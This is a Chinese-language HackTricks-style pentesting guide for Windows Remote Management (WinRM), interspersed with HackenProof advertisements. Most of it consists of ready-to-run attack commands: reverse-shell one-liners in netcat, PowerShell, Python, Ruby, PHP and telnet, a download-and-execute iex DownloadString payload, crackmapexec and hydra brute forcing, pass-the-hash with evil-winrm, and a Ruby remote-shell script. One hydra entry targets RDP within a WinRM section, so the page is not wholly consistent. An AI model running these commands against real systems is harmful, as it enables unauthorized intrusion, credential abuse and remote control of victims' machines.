21 KiB
5985,5986 - WinRM渗透测试
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
HackenProof是所有加密漏洞赏金的家园。
无需延迟获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
在web3渗透测试中获得经验
区块链协议和智能合约是新的互联网!在其兴起的日子里掌握web3安全。
成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
在HackenProof上注册开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
WinRM
Windows远程管理(WinRM)是一种微软协议,允许通过HTTP(S)使用SOAP远程管理Windows机器。在后端,它使用WMI,因此您可以将其视为基于HTTP的WMI API。
如果机器上启用了WinRM,则可以轻松地从PowerShell远程管理该机器。实际上,您可以像使用SSH一样进入机器上的远程PowerShell会话!
检测WinRM是否可用的最简单方法是查看端口是否打开。WinRM将监听以下两个端口:
- 5985/tcp(HTTP)
- 5986/tcp(HTTPS)
如果其中一个端口打开,表示已配置WinRM,您可以尝试进入远程会话。
启动WinRM会话。
我们可以配置PowerShell与WinRM一起工作。根据Microsoft的文档,Enable-PSRemoting是一个配置计算机以接收PowerShell远程命令的cmdlet。如果我们可以在受害者上访问提升的PowerShell提示符,我们可以启用它并将任何"攻击者"添加为受信任的主机。我们可以运行以下两个命令:
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
这将在trustedhosts设置中添加通配符。请注意其中的含义。注意:我还必须将攻击机器上的网络类型从“公共”更改为“工作”网络。
您还可以使用wmic远程激活WinRM。
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
测试是否已配置
一旦攻击机器已配置好,使用Test-WSMan
函数来测试目标是否已配置为WinRM。您应该会看到一些关于协议版本和wsmid的返回信息:
在这个例子中,第一个已经配置好了,而第二个没有。
执行命令
现在我们可以使用PowerShell的Invoke-Command
在目标上通过WinRM远程执行命令。要远程运行ipconfig
并查看输出:
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
您还可以通过Invoke-Command在当前的PS控制台中执行命令。假设您在本地有一个名为enumeration的函数,并且您想在远程计算机上执行它,您可以这样做:
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
执行脚本
To execute a script on a target machine through WinRM, you can use the Invoke-Command
cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote computers.
Invoke-Command -ComputerName <target> -ScriptBlock {<script>}
Replace <target>
with the IP address or hostname of the target machine, and <script>
with the script you want to execute.
For example, to execute a PowerShell script named script.ps1
on a target machine with the IP address 192.168.1.100
, you would use the following command:
Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock {C:\path\to\script.ps1}
Make sure to provide the correct path to the script on the target machine.
Note that you may need to authenticate with valid credentials to execute the script successfully.
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
获取反向Shell
To get a reverse shell, you can use the following methods:
Method 1: Netcat
- Start a listener on your machine:
nc -lvp <port>
. - Execute the following command on the target machine:
nc <your_ip> <port> -e /bin/bash
.
Method 2: PowerShell
- Start a listener on your machine:
nc -lvp <port>
. - Execute the following command on the target machine:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<your_ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
.
Method 3: Python
- Start a listener on your machine:
nc -lvp <port>
. - Execute the following command on the target machine:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
.
Method 4: Ruby
- Start a listener on your machine:
nc -lvp <port>
. - Execute the following command on the target machine:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<your_ip>",<port>);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
.
Method 5: PHP
- Start a listener on your machine:
nc -lvp <port>
. - Execute the following command on the target machine:
php -r '$sock=fsockopen("<your_ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'
.
Method 6: Telnet
- Start a listener on your machine:
nc -lvp <port>
. - Execute the following command on the target machine:
telnet <your_ip> <port> | /bin/bash | telnet <your_ip> <port>
.
Remember to replace <your_ip>
with your machine's IP address and <port>
with the desired port number.
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
获取一个PS会话
或者,如果你想直接进入一个交互式的PowerShell会话,可以使用Enter-PSSession
函数:
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
会话将在“受害者”内的新进程(wsmprovhost)中运行
强制打开WinRM
如果您真的想使用PS Remoting和WinRM,但目标没有配置它,您可以通过一个命令来“强制”打开它。我不建议这样做,但如果您真的想使用WinRM或PSRemoting,那么可以这样做。例如,使用PSExec:
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
现在我们可以在受害者上进入远程PS会话。
保存和恢复会话
如果远程计算机的语言受限,则此方法无法正常工作。
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
在这个会话中,您可以使用_Invoke-Command_加载PS脚本。
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
错误
如果你遇到以下错误:
enter-pssession : 连接到远程服务器 10.10.10.175 失败,错误信息如下:WinRM 客户端无法处理请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入域,则必须使用 HTTPS 传输或将目标机器添加到 TrustedHosts 配置设置中。使用 winrm.cmd 来配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。你可以通过运行以下命令获取更多信息:winrm help config。有关更多信息,请参阅 about_Remote_Troubleshooting 帮助主题。
在客户端尝试以下操作(参考这里):
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
HackenProof 是所有加密漏洞赏金的家园。
即时获得奖励
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
在 web3 渗透测试中积累经验
区块链协议和智能合约是新的互联网!在其兴起的时代掌握 web3 安全。
成为 web3 黑客传奇
每次验证的漏洞都会获得声望积分,并登上每周排行榜的榜首。
在 HackenProof 上注册 开始从您的黑客攻击中赚取收入!
{% embed url="https://hackenproof.com/register" %}
在 Linux 中进行 WinRM 连接
暴力破解
请注意,暴力破解 WinRM 可能会阻止用户。
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
使用 evil-winrm
Evil-winrm 是一款用于在 Windows 远程管理服务(WinRM)上进行渗透测试的工具。它提供了一个简单而强大的方式来与目标系统进行交互,并执行各种攻击操作。
安装 evil-winrm
要安装 evil-winrm,可以使用 Ruby 的包管理器 gem 进行安装。在命令行中运行以下命令:
gem install evil-winrm
连接到目标系统
使用 evil-winrm 连接到目标系统非常简单。在命令行中运行以下命令:
evil-winrm -i <目标 IP> -u <用户名> -p <密码>
替换 <目标 IP>
、<用户名>
和 <密码>
为实际的目标系统 IP 地址、用户名和密码。
执行命令
连接成功后,您可以在 evil-winrm 提供的交互式命令行中执行各种命令。例如,要列出目标系统上的用户,可以运行以下命令:
shell whoami
上传和下载文件
使用 evil-winrm,您还可以上传和下载文件到目标系统。要上传文件,可以使用以下命令:
upload <本地文件路径> <目标文件路径>
要下载文件,可以使用以下命令:
download <目标文件路径> <本地文件路径>
替换 <本地文件路径>
和 <目标文件路径>
为实际的本地文件路径和目标文件路径。
退出连接
要退出 evil-winrm 连接,可以在命令行中运行以下命令:
exit
这将关闭与目标系统的连接。
注意事项
在使用 evil-winrm 进行渗透测试时,请务必遵守法律和道德规范。仅在获得合法授权的情况下使用该工具,并且仅限于合法的渗透测试活动。
gem install evil-winrm
阅读其github上的文档:https://github.com/Hackplayers/evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
要使用evil-winrm连接到一个IPv6地址,在/etc/hosts中创建一个条目,将一个域名设置为该IPv6地址,并连接到该域名。
使用evil-winrm传递哈希值
evil-winrm -u <username> -H <Hash> -i <IP>
使用PS-docker机器
PS-docker是一种利用Docker容器来执行PowerShell脚本的技术。通过使用PS-docker机器,我们可以在目标系统上执行PowerShell命令,以便进行渗透测试和攻击。
要使用PS-docker机器,我们需要先安装Docker,并确保Docker服务正在运行。然后,我们可以使用以下命令创建一个PS-docker机器:
docker run -it --rm mcr.microsoft.com/powershell
这将下载并运行一个包含PowerShell的Docker容器。一旦容器启动,我们就可以在容器中执行PowerShell命令。
要连接到目标系统的WinRM服务,我们可以使用以下命令:
Enter-PSSession -ComputerName <target_ip> -Port <winrm_port> -Credential <credentials>
其中,<target_ip>
是目标系统的IP地址,<winrm_port>
是WinRM服务的端口号,<credentials>
是用于身份验证的凭据。
一旦连接成功,我们就可以在目标系统上执行各种PowerShell命令,包括执行远程代码、查找敏感信息等。
请注意,使用PS-docker机器需要具有适当的权限和授权,且仅限于合法的渗透测试和授权活动。
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
使用Ruby脚本
从这里提取的代码:https://alamot.github.io/winrm_shell/
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
Shodan
port:5985 Microsoft-HTTPAPI
参考资料
HackTricks 自动命令
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
HackenProof是所有加密漏洞赏金的家园。
即时获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
在web3渗透测试中积累经验
区块链协议和智能合约是新的互联网!在其兴起的时代掌握web3安全。
成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并登上每周排行榜的榜首。
在HackenProof上注册 开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。